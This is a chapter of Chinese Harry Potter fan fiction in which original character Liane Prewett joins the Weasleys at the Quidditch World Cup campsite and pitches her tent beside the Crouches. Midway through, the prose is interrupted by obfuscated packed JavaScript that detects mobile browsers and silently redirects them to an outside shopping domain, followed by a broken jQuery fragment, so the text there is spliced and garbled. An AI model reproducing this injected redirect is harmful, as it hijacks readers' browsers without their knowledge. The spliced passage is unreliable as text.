莉安觉得自己根本没有睡多久，莫丽姑妈就来到房间把赫敏和金妮叫醒了。
“该走了，金妮，亲爱的。”她小声说，一边又走过去唤醒赫敏。
莉安睁开眼睛，感觉外面还是一片漆黑，她看见床脚处有两个不规则的黑影从乱糟糟的毯子下面冒出来，而莫丽注意到她醒了，立刻柔声说道，“你会幻影显形，再睡会吧亲爱的。”
莉安感觉自己已经睡不着了，便也坐了起来，“没关系，姑妈。”
“怎么，已经到时间了？”金妮睡眼惺松的问。
她们默默穿衣服，下楼走进厨房，一边还在打哈欠，伸懒腰。
莫丽继续搅拌炉子上一口大锅里的东西，亚瑟坐在桌旁，核对一扎羊皮纸做成的大张球票，他穿着一件像是高尔夫球衣一样的上衣和一条很旧的牛仔裤，裤子穿在他身上有点儿嫌大，他用一根宽宽的牛皮带把它束住了。
“怎么不见比尔、查理和珀西？”金妮说着，控制不住又打了个大哈欠，她面色苍白，看起来根本没睡醒。
“他们不是会幻影显形吗？”莫丽把那口大锅放在桌上，开始把粥舀进一只只碗里，“所以他们可以睡一会儿懒觉。”
“这么说，他们还在呼呼大睡？”弗雷德气恼的问，“为什么我们不能也幻影显形呢？”
“因为你们还不到年龄，还没有通过考试。”莫丽回敬他一句。
“幻影显形还要通过考试？”哈利问。
“噢，是的，”亚瑟说着，把球票仔细的塞进牛仔裤后面的口袋里，“有一天，魔法交通司对两个人处以罚款，因为他们没有证书就擅自幻影显形，这可不是一件容易的事，如果做得不对，就会惹出麻烦，很讨厌的，我说的那两个人最后就身首分家了。”
“哦？分家？”哈利问。
“他们把自己的半个身子丢下了，”亚瑟舀了很多糖浆，拌进他的粥里，“所以，自然啦，他们就被钉在了那里，两边都动弹不得，只好等逆转偶发事件小组去处理这件事，告诉你吧，这意味着要准备大量的文件材料，那些麻瓜看见了他们丢下的支离破碎的身体…”
“他们没事吧？”哈利惊恐的问。
“噢，没事，”亚瑟说，“不过他们被狠狠的罚了一笔，我想他们大概不会再仓促行事了，你可千万不要拿幻影显形当儿戏，许多成年巫师都不愿惹这个麻烦，他们情愿用扫帚，虽然慢一些，可是安全。”
“查理考了两次才通过，”乔治嘻笑着说，“他第一次考砸了，在离原定目标以南五英里的地方显形，落到一个正在买东西的可怜的老太太的头顶上，记得吗？”
“是啊，不过他第二次就通过了，”弗雷德说，“珀西是两个星期前才通过的，从那以后，他每天早晨都幻影显形到楼下，就是为了证明他有这个本事。”
“我们要走一段路呢。”亚瑟说。
“走路？”哈利问，“怎么，我们步行去观看世界杯？”
“不，不，那就太远了，”亚瑟笑着说，“我们只需走一小段路，把大批巫师集合到一起而不引起麻瓜的注意，这是非常困难的，我们不得不非常谨慎，选择最佳时间上路，在魁地奇世界杯赛这样盛大的场合——”
“乔治！”莫丽突然厉声喝道，把大家都吓了一跳。
“怎么啦？”乔治说，他假装什么事也没有，可是骗不了人。
“你口袋里是什么？”
“没什么！”
莉安感觉什么东西快速飞进了自己口袋里，她诧异的望着双胞胎。
“不许对我说瞎话！”韦斯莱夫人用魔杖指着乔治的口袋，念了飞来咒，“Accio! ”
但是什么也没发生，莉安低头掏了掏自己的口袋，发现是一堆花花绿绿的小玩艺儿，她立刻又把东西紧紧的按回口袋里。
“东西呢？我刚才看到了！”莫丽怀疑的看着双胞胎，“扔掉这些劳什子！快把口袋掏空，快点，你们两个！”
“妈妈！我口袋里什么也没有！”乔治激烈的反驳，弗雷德也是，兄弟两个都把口袋翻过来给她看，痛心疾首的控诉道，“你怎么可以冤枉我们！”
“Accio! Accio! Accio! ”莫丽一连声的喊道，乔治夹克衫的内衬以及弗雷德牛仔裤的翻边都飘荡着翻了过来，但是里面什么也没有。
“都说了没有！”弗雷德委屈的喊道。
“那你们给我解释解释那张订货单和那些假魔杖、玩具和糖果是什么！”韦斯莱夫人尖声说道，“怪不得你们O.W.Ls考不出好成绩呢！”
气氛不是很友好，他们离开时，莫丽亲吻亚瑟的面颊仍然板着面孔，双子的态度更坏，他们把帆布背包甩到背上，一句话没对妈妈说就走了出去，但是两人偷偷对莉安挤眉弄眼，示意她把东西带到世界杯的营地去。
“再见，祝你们玩得痛快，”莫丽说，“表现好一点儿。”
她冲着双子离去的背影喊道，可是他们既没有回头，也没有回答。
“我中午的时候让莉安、比尔、查理和珀西上路。”她对亚瑟说。
这时，亚瑟和哈利、罗恩、赫敏、金妮穿过漆黑的院子，跟在弗雷德和乔治后面出发了。
背锅侠莉安：……这一口袋肥舌太妃糖！
等他们走后，莉安战战兢兢的看着姑妈，就怕她对自己也用飞来咒，不过莫丽转向她时，脸色立刻温柔了许多。
“来点香肠吧，”莫丽哗啦啦往她盘子里倒了三根香肠和两个荷包蛋，“你太瘦了…”
“我不瘦，姑妈，”莉安硬着头皮说道，“我只是个子太高所以显瘦。”
“吃吧！”莫丽用温和但不容置疑的语气说，然后虎视眈眈的盯着她的盘子。
莉安把盘子里的东西吃了个精光，又喝了半碗粥，实在吃不下了，因为吃得太撑，她突然又困了，决定上楼去睡个回笼觉，莫丽感到非常满意，望着她的背影消失在楼梯上，然后转身魔杖对着水池一点，碗碟就哗啦哗啦被水冲着自动清洗起来。
等莉安打开吱嘎吱嘎的卧室门时，不出意外的发现比尔已经躺在她床上了。
她无奈的把口袋翻过来，一大堆恶搞道具稀里哗啦的掉在金妮那张小床上。
“他们两个是不是又被妈妈发现了？”比尔笑了笑，“然后塞进了你的口袋里，妈妈什么也没找到，所以她在楼下发火，把我都吵醒了。”
“是啊，他们两个想搞一个商店，但是没有那么多钱，只能在格兰芬多休息室里面叫卖，我想等他们攒够了钱，大概会去买一个店铺。”莉安叹了口气，也躺了下来。
“我觉得这很好，他们并不太在乎成绩，”比尔把她拉进怀里，“但是妈妈想让他们进入魔法部，因为这次他们的O.W.Ls证书没几张，她脾气变得有些暴躁了。”
“对啊，你当初可是拿了12张证书，让他们几个压力很大，”莉安侧着身子靠在他肩膀上，单手推着他的胸膛，“我也是，毕竟我只拿了9个O，幸好傲罗只要5张证书。”
“据说魔法部好几年都没有招收傲罗了，”比尔的指尖摩挲着她的腰，轻声说，“如果你真的打算做傲罗，不得不说，因为现在不是战争年代，其实部里不怎么缺人手。”
“但是我想像父亲一样，”莉安突然直起上身看他，郑重的说，“我知道凤凰社已经解散了，可我是普威特，成为傲罗是我的追求，现在普威特家族只有我一个人，我必须重振门楣。”
“好吧，我知道你的努力，乔治和弗雷德都告诉我了，你在决斗俱乐部的表现不错，弗利维教授还教会了你很多决斗咒语，但是我有点心疼…”
“倒也不用…”莉安嘟囔了一句，又被比尔强行按在胸口上。
“再睡会，中午我们就去营地。”
一阵窸窸窣窣的衣料摩擦声。
“可是我看你不像要睡觉的样子…”
“我哄你睡。”
莉安：……行吧，更睡不着了！
中午时，比尔悄悄溜回了他的房间，等莫丽来敲门时，他和查理露出了一副一模一样的睡眼惺忪的表情。
珀西不耐烦的从单人卧室中走了出来，他的头发用速顺滑发剂打理的一丝不乱，看起来派头十足。
莉安刚出门，就听到珀西在那里“克劳奇先生认为…我是这样对克劳奇先生说的…克劳奇先生是这样想的…克劳奇先生告诉我…”
最后他用一句“他们现在随时都会宣布正式聘用我”结束了这段喋喋不休的独角戏。
查理温和的笑了笑，倒是比尔不以为意，推着珀西的后背催促他往下走，“不要挡住楼梯，快去吃饭，然后我们幻影移形。”
莫丽看到赫洛除了拖着行李箱之外，还背着一个双肩包，不由得有些疑惑。
“咳，是打算买一些纪念品回学校分给同学，”莉安掩饰性的轻咳一声，“箱子里是我的衣服和书，等看完比赛我就回去。”
“你不留在这儿了吗？”莫丽可惜的说。
“不了姑妈，这几天陋居人太多了，这对你来说是一个大工程，”莉安搂着她的手臂，亲亲热热的说，“反正还有一年我就毕业了，到时候我们相处的日子还多呢。”
“那好吧，”莫丽被她哄得心花怒放，“你们直接幻影移形吧，我想亚瑟已经把饭做好了。”
“你不去吗？”莉安看她仍然围着那条大围裙，错愕的说。
“我去了谁来喂鸡呢？”莫丽摇了摇头，“好了亲爱的，快去吧，祝你们玩得开心。”
她拥抱了莉安和她的三个儿子，并吻了他们的面颊。
莉安感觉有点心酸，这时，比尔牵着她的手，几人幻影移形了。
一阵不舒服的挤压感过后，他们落在一大片树林里，远处是隐隐绰绰的高大建筑，看起来像个巨大的体育馆，他们停顿了一会儿，往相反的方向走去。
大概步行了十分钟，树林出口的方向传来阵阵香味，他们刚离开树林，就看到了营地成百上千奇怪的帐篷。
离他们最近的一个帐篷外面，亚瑟正在炉子边煎鸡蛋，煮香肠。
“刚刚幻影显形过来，爸爸，”珀西大声说道，“啊，太棒了，有好吃的！”
亚瑟递给他们一人一个盘子，“拿着吧，我的孩子们，刚才罗恩他们三个去另一头汲了水，哈利又帮我弄明白了那个火柴怎么使用，啊真奇妙啊…麻瓜的东西，他们可真聪明，多亏了哈利我们才能把火生起来…”
他们美美的吃着鸡蛋和香肠，刚吃了一半，亚瑟突然跳了起来，笑着向一个大步走过来的男人挥手致意。
“哈哈！”他说，“当前最重要的人物！卢多！”
魔法体育司司长卢多·巴格曼穿着长长的魁地奇球袍，上面是黄黑相间的宽宽的横道，胸前泼墨般的印着一只巨大的黄蜂——他原来是个职业魁地奇球员，是八十年代温布恩黄蜂队的击球手，看样子，他原先体格强健，但现在开始走下坡路了，长袍紧紧的绷在大肚子上，他当年代表英国打魁地奇比赛时，肚子肯定没有发福，他的鼻子扁塌塌的，据说是被一只游走球撞断了鼻梁，但他那双圆溜溜的蓝眼睛、短短的金黄色头发，还有那红扑扑的脸色，都使他看上去很像一个块头过大的男生。
“啊嗬！”巴格曼开心的喊道，他走路一蹦一跳的，仿佛脚底下装了弹簧，他显然正处于极度兴奋的状态。
亚瑟，老伙计，”他来到簧火边，气喘吁吁的说，“天气多好啊，是不是？天气太棒了！这样的天气，哪儿找去！晚上肯定没有云…整个筹备工作井井有条…我没什么事情可做！”
在他身后，一群面容憔悴的魔法部官员匆匆跑过，远处有迹象表明有人在玩魔火，紫色的火花蹿起二十多英尺高。
珀西急忙上前一步伸出手去，显然，虽然对他巴格曼管理他那个部门的方式不以为然，但这并不妨碍他想给别人留下一个好印象。
“啊对了，”亚瑟笑着说，“这是我儿子珀西，刚刚到魔法部工作，这是弗雷德——不对，是乔治，对不起——那才是弗雷德，这是比尔、查理、罗恩，还有我的女儿金妮，我的侄女莉安·普威特，这是罗恩的朋友，赫敏·格兰杰和哈利·波特。”
听到哈利的名字，巴格曼微微有些吃惊，他的眼睛立刻扫向哈利额头上的伤疤。
“我来给大家介绍一下，”亚瑟继续说道，“这位是卢多·巴格曼，你们知道他是谁，我们多亏了他，才弄到这么好的票——”
巴格曼满脸堆笑，挥了挥手，好像是说这不算什么。
莉安三两口把鸡蛋塞进嘴里，又示意赫洛把双肩包递给双子，她眨了眨眼睛，“你们要的东西。”
双子对她抛了个媚眼，三人心照不宣。
“我先回去我的地方去了，还得去搭帐篷呢。”莉安对亚瑟说。
“需要帮忙吗？帐篷可不太好搭…”
“不用了亚瑟，”莉安笑着说，“我很懂麻瓜的东西。”
“哦对，你有麻瓜研究的证书，”亚瑟点点头，“去吧莉安，别忘了下午有巫师小贩的集会。”
“没问题，到时候比尔可以来接我。”莉安笑了笑，跟众人告别。
她先是去营地的麻瓜管理员那里取回了普威特家族预订的一顶帐篷，然后去寻找自己的营地位置，从营地上两排长长的帐篷间穿过。
大多数帐篷看上去没什么特殊，显然，它们的主人费了心思，尽可能把它们弄得和麻瓜的帐篷一样，可是有的一不小心做过了头，画蛇添足的加上了烟囱、拉铃绳或风向标，弄得不伦不类。
不过，偶尔也有那么几个帐篷，一看就知道是施了魔法的，在营地中央，有一个帐篷特别显眼，它十分铺张的用了大量的条纹绸，简直像个小小的宫殿，入口处还拴着几只活孔雀——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727469|144974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不用想，这绝对是马尔福家族的帐篷。
再前面一点，她又看见一个帐篷搭成四层高楼的形状，旁边还有几个角楼，再往那边，还有一个帐篷的门前带有一个花园，里面鸟澡盆、日冕仪、喷泉等样样俱全。
她来到了营地汲水附近的地方，跟韦斯莱家的帐篷几乎遥遥相望，这里有一小片空地，地上插着一个小小的牌子，上面写着：普威特。
“不许使用魔法，但是我其实不会搭帐篷。”莉安慢吞吞的说，她鬼鬼祟祟的瞄了瞄四周，掏出了魔杖，于是帐篷快速的自动搭建起来。
等支杆和螺钉到了正确的位置，帐篷也完美成型了，赫洛解除了小精灵的魔法，钻进去从内部替换成魔法帐篷，但外表还是跟麻瓜的帐篷没什么两样。
就在莉安欣赏自己的杰作时，她不经意间看到了隔壁低调的白色帐篷，它看起来十分麻瓜，简直就像麻瓜亲手搭的，装饰简约，在一众奇形怪状的帐篷中显得鹤立鸡群。
她又看了看帐篷前的小牌子：克劳奇。
真糟心！
莉安想起了那个大坏蛋，唾弃了一声，但她很快就收起了怒容，变得有些怔怔的。
据说巴蒂·克劳奇二世被关进阿兹卡班不到半年就死去了，1982年时，他的讣告登上了《预言家日报》，那时舆论风向变了，巴蒂·克劳奇一世在公众心目中的威信急剧下降，人们开始更多的同情儿子，并且提出疑问：为什么一个来自良好家庭的孩子会走上这样的邪路？得出的结论是他父亲从来不怎么关心他，所以，康奈利·福吉坐上了第一把交椅，巴蒂·克劳奇一世被平调到了国际魔法合作司。
她手上只有那张从报纸上剪下来的入狱照，她把它贴在床头上，一开始她是气愤的，希望这张照片时刻提醒自己，食死徒是如何残害魔法界那些普通人的，他们对那些反对他们的巫师进行了一系列惨无人道的折磨和谋杀，她的父亲和叔叔为了对抗黑魔头和他的残暴统治，英勇的反抗，最后被五个食死徒围杀，他们战斗到了最后一刻都没有投降。
但是，随着时间流逝，她又不禁有些疑问，为何身为食死徒的他没有杀死自己呢？他明明知道自己是普威特这个骁勇善战的格兰芬多世家最后一位成员，她当时也才四岁，甚至都没有魔杖，根本无法反抗，而斩草除根才符合食死徒的行事作风。
他会是无辜的吗？像他哭诉的那样。
不，他不是，莉安反反复复告诉自己，他闯进了自己的房子，威胁说要杀了自己，就算别人会被他那副可怜兮兮的模样欺骗，但她不会，她亲眼见过他那副恶劣的模样，像摆弄一个会动的玩偶那样对待她，漫不经心、草率、又充满兴趣，像一个邪恶的小孩子拿到了他想要的玩具那样，他的确是个罪大恶极的食死徒。
她给自己做了心理建设，正要钻进帐篷时，克劳奇的帐篷里却突然跌跌撞撞的钻出来一个小精灵。
她有一双巨大的棕色眼睛和一只形状和大小都像一个大蕃茄的鼻子，和赫洛一样的长长的、蝙蝠似的大耳朵。
她正在奋力挣扎，动作非常古怪，看起来既想出帐篷又不想，在门口进进出出的徘徊，似乎行动的特别费劲，就好像有一个看不见的人正在把她拉出去。
“闪闪要留在帐篷里，听主人的话！”
她喘息，尖叫，与那股束缚她的力量博斗着，最终又钻回了帐篷里。
莉安皱了皱眉，但每个家养小精灵的性格都各不相同，便没有多在意这件事，迫不及待的回到帐篷里打算睡一觉再说。
帐篷里是一套温馨的两居室，到处挂着风铃和贝壳，还有浴室和厨房，她迫不及待的躺到床上，等帐篷门口传来一阵轻微的响动，随后一个熟悉的身体靠过来，把她搂进怀里，这才安心的闭上了眼睛。
随着下午的过去，一种兴奋的情绪如同一团可以触摸到的云在营地上弥漫开来，黄昏时分，就连寂静的夏日空气似乎也在颤抖的期待着。
当夜色像帘幕一样笼罩着成百上千个急切等待的巫师时，最后一丝伪装的痕迹也消失了：魔法部似乎屈服于不可避免的趋势，不再同人们作对，听任那些明显使用魔法的迹象在各处冒出来。
每隔几步，就有幻影显形的小贩从天而降，端着托盘，推着小车，里面装满了稀奇古怪的玩艺儿，有发光的玫瑰形徽章——绿色的代表爱尔兰，红色的代表保加利亚——还能尖声喊出队员们的名字，有绿色的高帽子，上面装点着随风起舞的三叶草，有保加利亚的授带，印在上面的狮子真的会吼叫，有两国的国旗，挥舞起来会演奏各自的国歌，还有真的会飞的火弩箭小模型，有供收藏的著名队员塑像，那些小塑像可以在手掌上走来走去，一副得意洋洋的派头。
“比尔，你喜欢什么？”莉安穿过那些小贩时，一边扫荡纪念品，一边把一顶跳舞三叶草的帽子戴在他头上。
“我觉得这个帽子就不错。”比尔压住了帽沿，虽然看上去有些滑稽，不过他非常英俊，这帽子并未损伤丝毫他的俊美。
莉安买了保加利亚找球手威克多尔·克鲁姆的一个小塑像，让他在比尔手上来来回回的走，但他仿佛有灵魂似的，一直瞪着比尔的帽子。
“这东西不错！”莉安走到一个小推车前看了又看，那车里高高堆着许多像是双筒望远镜的东西，可上面布满了各种各样稀奇古怪的旋钮和转盘。
“全景望远镜，”巫师小贩热情地推销道，“可以重放画面…用慢动作放…如果需要的话，它还能迅速闪出赛况的分析，成交吧——美丽的小姐，十个加隆一架。”
“打折吗？”比尔干脆的说。
那小贩微微吃了一惊，但很快就点头，痛快的说，“两位俊男美女，光是看到你们我就心情舒畅——八折！”
“比尔你好棒！”莉安毫不迟疑的买了全景望远镜，又把望远镜挂在他们彼此的脖子上。
“干嘛给我？”比尔挑了挑眉毛说，“解咒员工资很高。”
“但是我需要你帮我拿东西，”莉安有点害羞，小声嘀咕道，“何况我只是想让表哥用我的东西…”
比尔双手拿满了东西，不然他一定要捏一下她泛红的脸蛋，他一向对人不假辞色甚至显得有些冷冰冰的表妹，此刻看起来温柔极了。
大概这就是沉浸在爱情中的女孩子吧。
“那我买两份比赛说明书。”
逛完集市，他们又回到了韦斯莱的帐篷，比尔和莉安把绿色的体育徽章戴在胸前，查理和金妮也买了这些，清一色的绿色装扮，哈利三小只满载而归，亚瑟也举着一面爱尔兰国旗，只有弗雷德和乔治什么纪念品也没买，因为他们把金币全部给了巴格曼下注。
这时，树林远处的什么地方传来低沉浑厚的锣声，立刻，千盏万盏红红绿绿的灯笼在树上绽放光明，照亮了通往赛场的道路。
“时间到了！”亚瑟兴奋的说道，“快点儿，我们走吧！”